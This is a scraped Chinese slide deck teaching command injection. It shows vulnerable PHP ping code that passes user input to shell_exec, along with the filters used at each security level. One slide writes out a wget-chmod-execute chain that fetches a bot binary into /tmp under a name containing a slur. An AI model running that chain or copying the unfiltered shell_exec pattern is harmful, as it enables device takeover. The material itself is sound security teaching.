Download presentation
Presentation is loading. Please wait.
1
Web安全基础教程
2
命令注入简介 注入测试
3
什么是命令注入？？ Command injection，即命令注入，是指通过提交恶意构造的参数破坏命令
语句结构，从而达到执行恶意命令的目的。
4
Wget http://ip/bins/apep.x86 -o /tmp/gayboi
Chmod 777 /tmp/gayboi ./tmp/gayboi
5
LOW 无安全措施，可直接执行 $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); }
6
MED 过滤了“&&”以及“；”，可简单绕过
$substitutions = array( '&&' => '', ';' => '', ); & |
7
High $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); “|”是管道符，表示将Command 1的输出作为Command 2的输入， 并且只打印Command 2执行的结果。
10
Thanks
Similar presentations
